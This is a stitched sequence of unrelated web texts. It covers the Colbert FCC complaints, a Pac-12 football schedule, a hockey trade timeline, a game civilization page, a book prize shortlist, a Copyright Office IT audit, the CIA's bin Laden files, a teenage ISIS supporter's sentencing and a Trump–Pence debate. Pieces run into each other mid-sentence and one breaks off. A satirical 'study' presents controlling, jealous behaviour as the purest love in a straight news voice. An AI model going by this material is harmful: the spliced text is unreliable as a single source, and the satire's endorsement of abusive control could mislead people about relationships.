Us & Them Fox [unaired] **
We Are Men CBS
Welcome to the Family NBC
The X-Factor Fox
Which shows would you save?
What bubble shows would you like to see return, and which deserve to be canceled? Let us know in the comments section below.Host Stephen Colbert appears on “The Late Show With Stephen Colbert” in New York on March 31. (Richard Boeth/CBS via AP)
When Stephen Colbert unleashed a vulgar joke about President Trump on his late-night show last Monday, some felt the comedian had crossed a line.
“The only thing your mouth is good for is being Vladimir Putin’s c— holster,” Colbert said of the president. The most vulgar part of the joke was bleeped when it aired.
#FireColbert soon began trending on Twitter, where many lambasted his joke as homophobic. The Federal Communications Commission reportedly received complaints about Colbert’s remarks.
However, it was only after FCC Chairman Ajit Pai acknowledged Thursday that the commission would review complaints about Colbert’s joke that the story spun out of control, according to media law experts.
Suddenly, the FCC had opened an “investigation” into Colbert, according to headlines in multiple news outlets. Under federal law, profane, indecent and/or obscene content is prohibited from being broadcast on TV or radio.
But such headlines are misleading because the FCC reviews every complaint it receives, said Andrew Schwartzman, a media law specialist at the Georgetown University Law Center.
“If somebody files something, of course the FCC has to look at it,” Schwartzman said in an email to The Washington Post. An FCC spokesman confirmed to The Post on Monday that the commission was not launching an investigation.
After making an oral-sex joke about President Trump and Vladimir Putin, there are calls from Trump supporters to fire late-night host Stephen Colbert. On May 3, Colbert acknowledged the haters, but he didn't apologize. (The Washington Post)
Even if there was one, the “Late Show With Stephen Colbert” airs, well, late enough that it is exempt from the FCC’s policies on profanity and indecency. The FCC defines indecent content as that which “portrays sexual or excretory organs or activities in a way that does not meet the three-prong test for obscenity.” Profane content “includes ‘grossly offensive’ language that is considered a public nuisance,” according to the commission.
However, these rules don’t apply to broadcast TV and radio shows that fall into a “safe harbor” period — airing between 10 p.m. and 6 a.m., ostensibly when children are not watching or listening. Colbert’s show airs at 11:35 p.m. Eastern.
Obscene content, on the other hand, is the most serious of the three FCC designations and prohibited by law no matter the time of day. Even then, “there is ZERO chance” that Colbert’s comments would meet the obscenity test, Schwartzman said. “What Colbert said, if run unbleeped, probably wouldn’t meet the test for indecency that applies before 10 p.m.,” he added.
[The FCC says an attack — not John Oliver — hampered its website]
For content to be deemed obscene, “it must meet a three-pronged test established by the Supreme Court: It must appeal to an average person’s prurient interest; depict or describe sexual conduct in a ‘patently offensive’ way; and, taken as a whole, lack serious literary, artistic, political or scientific value,” according to the FCC.
This three-pronged threshold for the FCC to find something “obscene” is so high that Schwartzman said he was hard-pressed to think of a successful obscenity case since the late 1970s.
Media lawyer David Oxenford agreed, calling the commotion over the FCC and Colbert “much ado about nothing” on his blog about broadcast law.
“If it’s legally obscene, it’s got to be really bad,” Oxenford told The Post. “It has to be pandering to the prurient interest, the sexual interests of the audience, and has no redeeming social significance. … It’s something that I don’t think the FCC to my knowledge has ever really been faced with.”
[Colbert finally (and unapologetically) responds to #FireColbert backlash: ‘I would do it again’]
An FCC spokesman declined to comment beyond confirming that the commission was reviewing viewer complaints as standard operating procedure — not launching an investigation. He also pointed to the most recent instance the commission had fined anyone for indecent content: a case from 2012 involving WDBJ, a TV station in Roanoke.
During one of its 6 p.m. newscasts that summer, WDBJ accidentally broadcast a brief shot of someone engaging in a sexual act in a report about a former porn star who had joined a local volunteer rescue squad. The sex act was displayed in a box to the right of the main report and appeared for less than three seconds, case records stated.
Was it indecent? Yes, the FCC ruled in 2015. But obscene? No.
That’s because, in the context of the broader newscast, the content did not, as a whole, “lack serious literary, artistic, political or scientific value.” And that porn broadcast during the 6 p.m. news did not qualify as obscene underscores how high the obscenity standard is, said Jack Goodman, the attorney for WDBJ in that case.
“Not only does it have to be a very explicit depiction of a sexual act, the entire work — which would in this case be the Colbert show — has to have no artistic or cultural merit,” Goodman told The Post. “It’s ludicrous to think that [Colbert’s joke] could be ‘obscene.’ … Just merely suggesting an act of oral sex wouldn’t get you there.”
[Stephen Colbert is not here to apologize to you]
That said, Pai was far less definitive in his remarks to Philadelphia radio station WPHT-AM.
“I have had a chance to see the clip now and so, as we get complaints — and we’ve gotten a number of them — we are going to take the facts that we find, and we are going to apply the law as it’s been set out by the Supreme Court and other courts, and we’ll take the appropriate action,” Pai told the radio station.
“I don’t want to prejudge whatever determination the FCC might make,” Pai added.
Goodman said he was surprised by Pai’s public remarks. The FCC chairman must have known that the “Late Show” fell within the “safe harbor” period and was not subject to profanity or indecency rules, Goodman said. And if Pai had indeed watched the clip, he should have also surmised that it had little chance to meet the obscenity standard, Goodman added.
And yet Pai’s statement gave the impression that the FCC’s review might find something serious, Goodman said.
“By treating this as a serious question, which it’s not, the commission is essentially putting pressure on broadcasters over something that nobody applying the standard could conclude,” Goodman said.
For his part, Colbert has remained unapologetic — though he did acknowledge Wednesday he would “change a few words that were cruder than they needed to be.”
“I have jokes; he has the launch codes,” Colbert said of Trump then. “So, it’s a fair fight.”
Paul Farhi contributed to this report.
Read more:
Debra Messing calls out Ivanka Trump: ‘Please stop blindly defending your father’
SNL mocks the awkward tension on ‘Morning Joe’ — and takes a call from Trump’s ‘publicist’
Stephen Colbert is not here to apologize to youBALTIMORE—Examining the various ways humans exhibit deep affection for one another, a new study published Monday by sociologists at Johns Hopkins University determined that controlling, possessive behavior was by far the most pure expression of love. “Our research found that people who demand to know and approve of their partner’s every move were displaying the most unadulterated form of fondness and devotion,” said study coauthor Dr. Tricia Fielding, adding that the deepest levels of intimacy were most prevalent among couples who regularly engaged in violent exhibitions of jealousy and made every attempt to isolate their significant other from friends and family. “According to the data, while showing trust and respect were also manifestations of love, they were not nearly as genuine as completely smothering someone to the point you’ve intruded into literally every aspect of their lives.” The study comes on the heels of another report that concluded the longevity of a relationship largely depends on how well couples communicate that their partner will never find someone else to love them if they ever leave.
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SAN FRANCISCO – The Pac-12 Conference announced today its 2015 football schedule that pairs a competitive nine-game Conference schedule with a non-conference slate that includes five contests against teams currently ranked in the Associated Press Top 25 – No. 6 Texas A&M, No. 9 Notre Dame (2), No. 11 Michigan State, and No. 21 BYU. In all, nearly a third of the Pac-12’s non-conference schedule pits the league against a Power 5 conference opponent, including five contests against the Big Ten Conference.
In addition, traditional rivalry games will be played over the last two weeks of the season, followed by the Pac-12 Football Championship Game at Levi’s Stadium in Santa Clara, Calif., on either Friday, December 4 or Saturday, December 5.
The 2015 season is scheduled to get under way with a pair of games on Thursday, September 3, as ARIZONA hosts UTSA, and UTAH hosts Michigan, followed by a neutral site showdown between ARIZONA STATE and Texas A&M on Saturday, September 5. The second week of the season will feature three road matchups with the Big Ten as WASHINGTON STATE visits Rutgers and the Oregon schools make the trek to the Great Lakes State where OREGON takes on Michigan State, while OREGON STATE meets Michigan.
Every football game played at Pac-12 sites will be televised. A combination of the ESPN channels, ABC, FOX and FOX Sports 1 will broadcast 44 games nationally and Pac-12 Networks will offer 34 games to a national audience. Exact broadcast schedules will be determined at a later date.
The 2015 Conference schedule features six games on five Thursday night dates that includes key league matchups between WASHINGTON at USC on October 8, UCLA at STANFORD on October 15, CALIFORNIA at UCLA on October 22, and OREGON at ARIZONA STATE on October 29. In addition, the schedule’s four games on three Friday dates feature STANFORD at OREGON STATE on September 25, USC at COLORADO on November 13, OREGON STATE at OREGON in the Civil War and WASHINGTON STATE at WASHINGTON in the Apple Cup the day after Thanksgiving on Friday, November 27.
The decision was made to schedule the cross-division ARIZONA STATE at CALIFORNIA game on the final week of the 2015 season in keeping with the terms of scheduling commitments approved by the Pac-12 Directors of Athletics to maintain the late-season games between Stanford/USC and Notre Dame.
2015 Pac-12 Football Schedule
Thurs., Sept. 3 UTSA at ARIZONA Michigan at UTAH Sat., Sept. 5 ARIZONA STATE vs. Texas A&M (1) Arkansas State at USC Virginia at UCLA COLORADO at Hawai’i Eastern Washington at OREGON Weber State at OREGON STATE WASHINGTON at Boise State Portland State at WASHINGTON STATE Grambling at CALIFORNIA STANFORD at Northwestern Sat., Sept. 12 ARIZONA at Nevada Cal Poly at ARIZONA STATE Idaho at USC UCLA at UNLV UMass at COLORADO Utah State at UTAH OREGON at Michigan State OREGON STATE at Michigan Sacramento State at WASHINGTON WASHINGTON STATE at Rutgers San Diego State at CALIFORNIA Central Florida at STANFORD Sat,. Sept. 19 Northern Arizona at ARIZONA New Mexico at ARIZONA STATE STANFORD at USC BYU at UCLA COLORADO vs. Colorado State (2) UTAH at Fresno State Georgia State at OREGON San Jose State at OREGON STATE Utah State at WASHINGTON Wyoming at WASHINGTON STATE CALIFORNIA at Texas Fri., Sept. 25 STANFORD at OREGON STATE Sat., Sept. 26 UCLA at ARIZONA USC at ARIZONA STATE Nicholls State at COLORADO UTAH at OREGON CALIFORNIA at WASHINGTON Sat., Oct. 3 ARIZONA at STANFORD ARIZONA STATE at UCLA OREGON at COLORADO WASHINGTON STATE at CALIFORNIA Thurs., Oct. 8 WASHINGTON at USC Sat., Oct. 10 OREGON STATE at ARIZONA COLORADO at ARIZONA STATE CALIFORNIA at UTAH WASHINGTON STATE at OREGON Thurs., Oct. 15 UCLA at STANFORD Sat., Oct. 17 ARIZONA at COLORADO ARIZONA STATE at UTAH USC at Notre Dame OREGON at WASHINGTON OREGON STATE at WASHINGTON STATE Thurs., Oct. 22 CALIFORNIA at UCLA Sat., Oct. 24 WASHINGTON STATE at ARIZONA UTAH at USC COLORADO at OREGON STATE WASHINGTON at STANFORD Thurs. Oct. 29 OREGON at ARIZONA STATE Sat., Oct. 31 ARIZONA at WASHINGTON USC at CALIFORNIA COLORADO at UCLA OREGON STATE at UTAH STANFORD at WASHINGTON STATE Sat., Nov. 7 ARIZONA at USC ARIZONA STATE at WASHINGTON STATE UCLA at OREGON STATE STANFORD at COLORADO UTAH at WASHINGTON CALIFORNIA at OREGON Fri., Nov. 13 USC at COLORADO Sat., Nov. 14 UTAH at ARIZONA WASHINGTON at ARIZONA STATE WASHINGTON STATE at UCLA OREGON at STANFORD OREGON STATE at CALIFORNIA Sat., Nov. 21 ARIZONA at ARIZONA STATE USC at OREGON UCLA at UTAH COLORADO at WASHINGTON STATE WASHINGTON at OREGON STATE CALIFORNIA at STANFORD Fri., Nov. 27 OREGON STATE at OREGON WASHINGTON STATE at WASHINGTON Sat., Nov. 28 ARIZONA STATE at CALIFORNIA UCLA at USC COLORADO at UTAH Notre Dame at STANFORD Fri., Dec. 4 or Sat., Dec. 5 Pac-12 Football Championship Game (3) (ESPN)
(1) Reliant Stadium, Houston, Texas
(2) Sports Authority Field at Mile High, Denver, Colo.
(3) Levi’s Stadium, Santa Clara, Calif.On June 27, 2014, the day of the NHL draft in Philadelphia, a disgruntled Ryan Kesler of the Vancouver Canucks was shipped to the Anaheim Ducks, one of the few teams he’d agreed to go to.
Kesler’s in the middle of a season of resurgence for the Ducks.
Here’s how the trade’s all played out in the 2 1/2 years since the trade.
June 27, 2014: Centre Kesler, a three-time Selke Trophy nominee (and 2011 winner) and key cog in the Canucks’ drive to the Stanley Cup Final in 2011, is shipped along with a third-round pick in the 2015 draft to Anaheim. In return, the Canucks get four-year Ducks forward Nick Bonino, who’s coming off a 22-goal season, former 19th-overall-pick defenceman Luca Sbisa, who had 24 points in his second full NHL season, and first- and third-round picks in that weekend’s draft.
June 27, 2014: After the Canucks pick Jake Virtanen with their own sixth-overall pick, they use the 24th-overall pick from the Ducks to select Sault Ste. Marie, Ont., centre Jared McCann. One pick later, the Boston Bruins choose David Pastrnak, a junior star from the Czech Republic who has 19 goals in 43 games this season.
June 28, 2014: The Canucks use their second-round pick to select goalie Thatcher Demko, now considered the club’s goalie of the future. In the third round, after taking defenceman Nikita Tryamkin — one of the Canucks’ greatest surprises in the 2016-17 season — 66th overall, they send the 85th-overall pick they got in the Kesler deal to the New York Rangers for depth forward Derek Dorsett, who played two full seasons for the Canucks, but has been indefinitely sidelined after it was revealed in early December that he would need neck surgery.
June 27, 2015: The Ducks use the third-round pick acquired from the Canucks to select winger Deven Sideroff 84th overall. The now-19-year-old is in his third full season with his hometown Kamloops Blazers and has scored a junior career-high 27 goals in 46 games.
July 15, 2015: Kesler signs a six-year contract extension worth US$41.25 million. He was heading into the final year of a six-year, $30-million deal he signed in Vancouver in 2010. The deal is good through the 2021-22 season.
July 28, 2015: After an inaugural 15-goal season in Vancouver, Bonino, depth defenceman Adam Clendening and a second-round pick in the 2016 draft are dealt to Pittsburgh for centre Brandon Sutter, who’s now in his first full Canucks season after an injury-marred 2015-16 campaign, and a third-round pick in 2016.
May 25, 2016: The Canucks trade McCann, after scoring nine goals and adding nine assists in a rookie season played in a depth role, to the Florida Panthers, along with second- and fourth-round picks, for defenceman Erik Gudbranson — a former third-overall pick who played three seasons in Florida — and a fifth-round pick.
June 25, 2016: Early in the third round, 64th overall, the Canucks use the pick acquired in the Bonino deal to select Michigan’s William Lockwood, who’d spent two busy seasons with the U.S. national development program. Lockwood, in his freshman season at the University of Michigan, leads the Wolverines with 14 points in 20 games. One round earlier, the Buffalo Sabres select Swedish defenceman Rasmus Asplund with Florida’s second-round pick acquired in the McCann deal; at 19, he’s the youngest player on the roster of the Swedish league’s Farjestad — even after two previous seasons with the club — and has 15 points in 28 games. The Panthers use their fourth-round pick from Vancouver to acquire Ontario’s Jonathan Ang, who’s a point-per-game player in his third OHL season. In the fifth round, 150th overall, the Canucks select defenceman Cole Candella, now in his second season with the OHL’s Hamilton Bulldogs.
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Is there more to this story? We’d like to hear from you about this or any other stories you think we should know about. Email [email protected] in the footsteps of the great Mansa Musa and become the greatest king of Western Africa. Conquer surrounding kingdoms to expand your wealth and hold a firm grip on the trade routes that zigzag through the the region. Will you be able to keep the once hostile provinces united under your crown?
► Malians.mp3
Quick Card
Infantry civilization
Buildings cost -15% wood
Infantry +1 pierce armor per Age (starting from Feudal Age)
Gold Mining upgrades free
Unique Unit:
Gbeto (ranged infantry)
Unique Technologies:
Tigui: Town Centers fire arrows
Farimba: Stable units +3 attack
Team Bonus:
University researches +80% faster
History
Throughout the Middle Ages, many city-states and kingdoms emerged in West Africa as a result of the lively trans-Saharan trade of salt and gold. The constant struggle to dominate commerce in this part of the world went hand in glove with the rise and fall of great empires that were able to conquer and unite the scattered kingdoms into one state.
Between the 4th and 11th centuries AD, the Soninke people were the first to monopolize the gold trade and expand their rule over a vast area. At its largest extent, the Empire of Ghana covered present-day western Mali and southeastern Mauritania. However, by the end of the 11th century, the Berber Almoravid Empire had assumed control of the gold trade. Whether or not this was achieved through an invasion led by Amir Abu-Bakr Ibn Umar is still unclear. In any case, the loss of a major resource, combined with overgrazing and periodic droughts, led to the disintegration of the Empire of Ghana. In AD 1203, the Sosso people, former vassals of Ghana, conquered the capital city, Kumbi.
In the following decades, the Sosso people continued their military campaign. According to oral tradition, king Sumanguru Kante conquered several small Mandinka chiefdoms. However, an exiled prince, Sundjata, united the different kingdoms, spurred a rebellion, and eventually defeated the Sosso army at the battle of Kirina in AD 1235. Five years later, Sundjata annexed Ghana and its important gold mines and trade routes, thus founding the Mali Empire.
Further expansions led by successive Mansas (kings) extended the boundaries of the empire to Gao in the east and the Atlantic Ocean in the west. Especially under Mansa Sakura (AD 1285-1300), a freed slave, territorial conquest was significant. In order to |
Spool of Blue Thread.
“They are all fantastic,” said Chakrabarti. “They are very different in various ways – subject matter, genre, style. Some are sparse, some poetic. What they have in common is that you can’t put them down.”
Facebook Twitter Pinterest The Baileys Women’s Prize for Fiction judges with the 2015 shortlisted titles. Photograph: PR
Paull, who wrote her first novel aged seven but set it aside after her family described it as “‘sweet’ - I thought ‘no, it’s really serious and dramatic’” - said that it was “extremely exciting but quite strange” to find herself on the Baileys shortlist.
“In my family we didn’t know anyone who made a living from writing – I thought ‘I can’t do it’,” she said. “It took me a long time to build up my conviction to just write.”
After working as a receptionist at a film company, trainee film-financier and then a screenwriter, then turning to the theatre after her daughter was born, she decided to take the plunge back into novel-writing, and took a creative writing course. The idea about the bees came to her half way through – a beekeeper friend had recently died, her eulogy full of quotes about bees.
“Because I was in this very open state, everything clicked. The emotional range was there, and my imagination fired. I just went for it,” she said. “I thought I’d got nothing to lose – I was in complete obscurity.”
Chakrabarti called The Bees “the Animal Farm of the 21st century. On one hand you get the originality and the cheekiness and the brilliant idea – to talk about society and politics in the context of a beehive. But then the writing is so good that you believe Flora is a person.”
The Liberty director also praised Shamsie’s “exquisite research”, describing A God in Every Stone as “such an enterprise, such ambition”. Tyler, the one American novelist on the shortlist, “is clearly a master storyteller – the novel is like a really amazing designer garment so brilliantly put together you can’t see the stitches”. Smith’s How to Be Both is “James Joyce meets Virginia Woolf for the 21st century”, and Cusk’s Outline “so self-effacing and yet so intriguing”. The Paying Guests, meanwhile, “will have your heart racing from start to finish – you so care about the outcome and are so immersed in it you can’t put it down”.
Bookmaker William Hill immediately made Waters its favourite to win the award, at 2/1, with Smith at 3/1, Cusk and Tyler both at 5/1, and Paull and Shamsie both at 6/1.
Now in its 20th year, the prize – formerly known as the Orange – sets out to reward “excellence, originality and accessibility in writing by women from throughout the world”. It has been won in the past by Chimamanda Ngozi Adichie for Half of a Yellow Sun, by Zadie Smith for On Beauty and by Lionel Shriver for We Need to Talk About Kevin, with this year’s winner to be announced on 3 June.
Chakrabarti’s fellow judges are Everyday Sexism Project founder Laura Bates, columnist Grace Dent, author and former Orange prize winner Helen Dunmore, and Channel 4 news presenter Cathy Newman.
The Baileys prize shortlist:
Outline by Rachel Cusk (Faber/Vintage
The Bees by Laline Paull (Fourth Estate)
A God in Every Stone by Kamila Shamsie (Bloomsbury)
How to Be Both by Ali Smith (Hamish Hamilton)
A Spool of Blue Thread by Anne Tyler (Chatto & Windus)
The Paying Guests by Sarah Waters (Virago)Newly Leaked Documents Expose Stunning Waste And Incompetence At The Copyright Office
from the this-makes-no-sense dept
Previously unreleased documents acquired by Techdirt show, fairly conclusively, that Congress will be making a huge and dangerous mistake if it moves forward with changing how the head of the Copyright Office is appointed. And despite the fact that the RIAA & MPAA are eagerly supporting this change, the people it will hurt the most are content creators. Because the Copyright Office is basically incompetent when it comes to modernizing its technology. That's what was found by a thorough (but not publicly released) Inspector General's report, detailing how the Copyright Office not only threw away $11.6 million on a new computer system that it said would cost $1.1 million, but also lied to both Congress and the Library of Congress about it, pretending everything was going great.
In reality the project was a complete and utter disaster. It was put together by people who seemed to have no clue how to manage a large IT project, and there was basically zero effort to fix that along the way. After literally wasting $11.6 million on nothing, the entire project was scrapped in October of last year.
The timing here is important. October is when Carla Hayden reassigned Maria Pallante, effectively firing her. Pallante had led the Copyright Office since 2011 (soon after the big project began), so she was in charge through the vast majority of this disastrous project. While legacy copyright folks tried to spread evidence-free conspiracy theories about why Hayden fired Pallante, it seems a lot more likely that it was because Pallante had overseen a project that flat out wasted $11.6 million, and during the course of the project the Copyright Office repeatedly lied to the Library of Congress about its status.
But here's the astounding thing. Congress is trying to reward the Copyright Office for this scandal, and give it more power and autonomy despite this absolute disaster. Perhaps because, until now, the Copyright Office has been successful in keeping this whole thing hidden.
As we've mentioned, Congress is effectively trying to move the Copyright Office out of the Library of Congress by having the new Register of Copyright (who heads the Office) be appointed by the President and approved by the Senate (i.e., making it a political appointee), rather than be appointed by the Librarian of Congress as has been the case since the creation of the Copyright Office. One of the key arguments in favor of this is that the Copyright Office is woefully behind on technology, and needs to be modernized. Almost exactly two years ago, a fairly scathing report from the GAO came out about the lack of leadership on IT issues from then-Librarian of Congress James Billington. Thankfully, Billington is gone and Carla Hayden is in charge now -- and she actually has a history of modernizing a library. Reports from folks at the Library say that Hayden has moved quickly to establish a real modernization plan for the entire Library, including the Copyright Office, and that those efforts are already starting to move forward.
And that's got to be better than giving the Copyright Office autonomy to modernize itself. As we're releasing here for the very first time publicly, an Inspector's General report looking at various IT projects related to the Library of Congress is absolutely devastating in revealing how incompetent the Copyright Office is at modernizing itself. Specifically, in 2010, the Copyright Office asked for $1.1 million it said it would need to build its Electronic Licensing System (eLi). Just about everything turned out to be a complete disaster and a waste of money. From the executive summary of the report:
[The Copyright Office] did not follow sound [Systems Development Life Cycle -- SDLC] methodologies which resulted in it scrapping the eLi project development after six years and $11.6M in project expenditures. The eLi project began in 2010 with a budget approval of $1.1M, and increased to approximately $2M for full implementation in 2012. Ultimately Copyright spent over $11.6M through 2016 when it decided to terminate the contracts and abandon development activities. During that six-year period, Copyright continued to report in eLCplans (the Library's performance management system) that eLi development was occurring near or on schedule.
Again, this is horrifying. Not only did it waste more than 5x what it had been given budget approval for, and not only did it end up with nothing to show for all this money, it also lied about how the project was going so those in the Library of Congress had no idea that the Copyright Office was basically lighting money on fire. It also appears that because of this, the Copryight Office misrepresented what was happening to Congress in its annual budget requests. From the report:
Copyright executives at that time did not disclose in the Library's performance management system (eLCplans) and annual Congressional Budget Justifications the magnitude of issues and cost overruns related to the project. As a result, Congress and Library executives did not have adequate information to timely act on and address the issues.
Again, forget those conspiracy theories about Pallante getting fired. Lying to your bosses in your annual budget requests about the status of a massive technology project that was way behind and way over budget certainly seems like a fireable offense.
A big part of the problem? What appears to be near-total incompetence by the Copyright Office in putting together and managing the project.
The USCO project management team did not demonstrate effective, proactive project cost management practices. Over the six-year development period, USCO project management expended $11.6 million in vendor costs. The USCo project management team received specific funding for approximately $1.9 million in the first two years of the project. USCO project management did not update project budgets for the subsequent six years of development activity, nor perform an analysis of estimated cost overruns. Subsequent development funding activites ocurred, inconsistent with initial funding requests. As discussed below, the USCO had no management body to evaluate and approve additional funding requests in conjunction with experienced development delays, analyses, and recommended courses of actions. Additionally, the USCO did not have an oversight body with authority to halt project activites based on cost overruns, delviery delays, and/or lack of functionality until appropriate remediation plans or project management structure was in place.
Basically, the ship was almost entirely rudderless when Pallante was in charge. Ask for $1.9 million, spend $11.6 million -- without getting a working system -- and no one seemed to check on any of it.
According to the report, the most basic project management concepts were completely lacking at the Copyright Office. Pages 26 through 28 of the document embedded below should elicit gasps from anyone who's done any kind of project management. I won't detail all of it, but here are just a few highlights:
No monitoring of the project schedule
No project budget approval process at all
No periodic reviews to see if things were on schedule and within budget
No project management framework at all
No comprehensive project management plan for the executiion and monitoring of the project.
No official tracking of scope and schedule changes
No documentation of departures from planned schedule
No plan for what staffing was needed for the project
No analysis of alternatives
No system requirements baseline
No system development plan
No requirements for best practices, customer oversight or acceptance of the vendor
No technical requirements to ensure user functionality given to the vendor
No details on deliverables given to the vendor (seriously -- no requirements to hand over the code or any documentation)
No review criteria
No defined technical framework
No security testing
And, again, that's just some of the problems listed in the document. There are more.
Rather than admit any of that, the Copyright Office under Pallante pretended each year that everything was moving ahead without a problem. The report includes the comments that the Copyright Office gave to the Library of Congress each year for its Congressional Budget Justification regarding the system:
If you can't see that, basically every year all the Copyright Office said was "licensing will continue implementing and refining the reengineered processes and system" (or, in the past two years, that "licensing will continue to work toward a fully automated system for receiving and examining Statements of Account"). This despite the fact that the project was way over budget and apparently totally non-functional.
The report also includes the Copyright Office's internal reporting to the Library, in which it needed to give a status report in one of three color codings: green if the project was on-track, amber if it was behind target but adjustments could result in accomplishing the plan on time, and red if it would not meet the annual target. Given what we know now, these should have been red every year. Instead... in 2011, 2013, and 2015 the Copyright Office reported "green." In 2012 it reported "amber." In 2010, 2014, and 2016 the Copyright Office didn't even bother to report on this project status at all.
The most amazing thing here is that Pallante wasn't fired years ago for this complete disaster of a project.
But the more important question right now is why would Congress be looking to give the Copyright Office more autonomy when it's quite clear that the Office has absolutely no competency when it comes to modernizing its system, and there has been a six-year pattern of throwing away money without a properly managed plan and a longstanding practice of lying about it to Congress itself?
Last week, despite all of this, nearly the entire House Judiciary Committee voted to let this happen, and all I can ask is what were they thinking? Why is Congress -- and Reps. Bob Goodlatte and John Conyers in particular -- rewarding this behavior?
At the request of the Library of Congress' Inspector General's Office, we have made a few small redactions to parts of the report that were not related to this story above.
Filed Under: carla hayden, congress, copyright office, library of congress, maria pallante, modernizationThe Central Intelligence Agency has released a trove of almost 470,000 files obtained in the 2011 raid on Osama Bin Laden's compound in Abbottabad, Pakistan, which provide unique insights into the 9/11 mastermind’s life as head of Al-Qaeda.
CIA Director Mike Pompeo ordered Wednesday's release, saying the decision was made "in the interest of transparency and to enhance public understanding of al-Qa‘ida and its former leader."
This is by no means the first such release of Bin Laden's private archives; The Office of the Director of National Intelligence (ODNI) previously released documents on May 20, 2015, March 1, 2016, and January 19, 2017.
No happy ending: CIA to keep Bin Laden’s porn stash secret https://t.co/zqKXy9EH1cpic.twitter.com/vfIg6Bx9cV — RT America (@RT_America) September 12, 2017
"Today’s release of recovered al-Qa‘ida letters, videos, audio files and other materials provides the opportunity for the American people to gain further insights into the plans and workings of this terrorist organization," Pompeo said in a statement. "The CIA will continue to seek opportunities to share information with the American people consistent with our obligation to protect national security."
The latest release contains: Bin Laden's personal diary, 18,000 document files, 79,000 audio clips and images, and over 10,000 video files, including draft videos of speeches and propaganda films for the terrorist organization.
In a statement, the CIA claims that this latest release sheds more light on the rift between Al-Qaeda and Islamic State (IS, formerly ISIS/ISIL) in addition to providing insights into the "strategic, doctrinal and religious disagreements within [Al-Qaeda] and its allies."
Today we released nearly 470,000 files recovered in 2011 raid on Usama Bin Ladin’s compound in Abbottabad, Pakistan.https://t.co/QZcoAu3uEwpic.twitter.com/Dn8awV9ndn — CIA (@CIA) November 1, 2017
Within the documents are files pertaining to the strained relationships within Al-Qaeda, the group's attempts at promulgating its message using Western media, and its attempts at regaining the trust of disillusioned Muslims across the Middle East whose support waned due to “mistakes and negative media portrayals" of Bin Laden’s terror network.
9/11 families may add UAE to lawsuit against Saudis over role in terrorist attacks https://t.co/ANP7RQxhUm — RT (@RT_com) July 15, 2017
This is by no means the full extent of the data retrieved in the raid, according to the CIA's statements, as many of the files are being withheld for national security reasons, or they have become corrupted.
Other materials being held back include copyrighted works, pornography and malware. Among the copyrighted materials are such titles as: 'Antz,' 'Batman,' 'Cars,' 'Chicken Little,' and 'Resident Evil.' Interestingly, the former world's most wanted man also kept track of his public image and kept several documentaries and media specials about himself on file.
Oddly enough, Bin Laden also kept multiple Tom & Jerry cartoons on his hard drives and also downloaded the viral video, 'Charlie bit my finger.'“The War on Terror” continues as a Virginia teenager was recently sentenced to eleven years in U.S. federal prison for his pro-ISIS views and Bitcoin advice on Twitter.
17-year-old Ali Shukri Amin allegedly maintained the Twitter account @Amreekiwitness “to espouse pro-ISIS views and propaganda.” The account, which was able to gain over 4,000 Twitter followers, was also a place where advice on how to use Bitcoin to fund ISIS was disseminated.
“ISIL continues to use social media to send their violent and hateful message around the world in an attempt to radicalize, recruit and incite youth and others to support their cause,” John Carlin, Assistant Attorney General for National Security said in a statement. “More and more, their propaganda is seeping into our communities and reaching those who are most vulnerable.”
Amin also stated during the trial that he assisted a domestic ISIS supporter in getting to Syria. That person was also arrested under the charge of conspiring to provide material support to terrorism.
“Amin’s case serves as a reminder of how persistent and pervasive online radicalization has become,” Andrew G. McCabe, Assistant Director in Charge of the FBI’s Washington Field Office said in a statement. “The FBI, through our Joint Terrorism Task Forces, remains dedicated to protecting the United States against the ongoing violent threat posed by ISIL and their supporters.”
This is one of dozens of arrests by the FBI and Department of Justice current operation that follows all leads throughout the United States that relate to ISIS support online. Officials say individuals “grow radicalized” through social media and Internet chat groups, which then generates domestic violence and “lone wolf” terrorist attacks.
Amin, who also goes by Taqi’ulDeen Al Munthir, was interviewed by Deepdotweb last year at the onset of this investigation and had some very interesting things to say about Bitcoin and its use. He said Bitcoin, as of last year, not an accepted monetary unit within ISIS. What he wanted was for a new digital currency or altcoin, called the eDinar to be used by the Islamic State. Here’s what they said:
“The idea isn’t to turn BTC (Bitcoins) donations into U.S. Dollars or another fiat currency. That’s less than ideal. In that regard, it would be near impossible for (ISIS) to traffic large amounts of donated funds. They would need to send agents to nearby countries to exchange the Bitcoins, leading to higher restrictions in the Middle East on Bitcoin, and the end of it’s usefulness to (ISIS).”
“The far more desirable alternative is top create their own cryptocurrency, an eDinar of sorts, and exchange Bitcoin for that. That way, Bitcoin can be converted to the caliphate instantly, without the need for a third party.“
The Department of Justice seems ready to use this trail as an example to dissuade others from engaging in a similar online activity. Apparently, age is not a mitigating factor. Locking up teenagers for over a decade in a federal prison may sound harsh, but it is not excessive sentences once federal prosecutors get involved is not uncommon.
Take the case of Ross Ulbricht, creator of Silk Road. I wrote an article about his sentencing in June, where he not only received life sentences, as a first-time offender, for 2 out of 5 charges of non-violent crimes, but also a $183+ million fine.
The United States is also by far the most heavily incarcerated population in the world, with well over two million citizens in the nation’s prison system currently, and rising. 40% of those incarcerated, who are under the age of 18, are sent to privately-owned, for-profit “correction facilities” nationwide. These might be small signs of a tyrannical police state well underway.
If nothing else, this may indeed be the longest jail sentence handed out for sending tweets in recorded history. Only in America.A Trump campaign spokesman, brushing aside reports of friction between the Republican nominee and his running mate, said that Donald Trump and Mike Pence talk “every single day” and are the “most united ticket in history.”
The assertions by Trump spokesman Jason Miller came in the post-debate spin room in response to questions about Trump’s response during the debate when he said that he disagrees with comments Pence made about Syria and that they haven’t spoken about the issue.
“Mr. Trump, let me repeat the question: If you were president, what would you do about the humanitarian crisis in Aleppo?” asked moderator Martha Raddatz. “I want to remind you what your running mate said,” she continued, referencing Pence’s comments about Syria in the vice presidential debate one week earlier.
“He said, ‘Provocations by Russia need to be met with American strength,’” Raddatz reminded Trump. “And that if Russia continues to be involved in airstrikes along with the Syrian government forces of Assad, the United States of America should be prepared to use military force to strike the military targets of the Assad regime.”
Trump’s running mate, Indiana Gov. Mike Pence, speaking in Salt Lake City in September. (Photo: Rick Bowmer/AP) More
Trump, who has appeared to be displeased with Pence for not defending him following the release of a damaging videotape on Friday, waved away his running mate’s comments.
“He and I haven’t spoken, and I disagree,” said Trump. “I disagree.”
Trump’s comment prompted Raddatz to shoot back: “You disagree with your running mate?” Trump ignored that question.
Slideshow: Body language: Hillary Clinton and Donald Trump face off for their second fiery debate >>>
Miller said that Pence was referring to enforcing “safe zones” in Syria — presumably to allow humanitarian assistance — but did not elaborate.
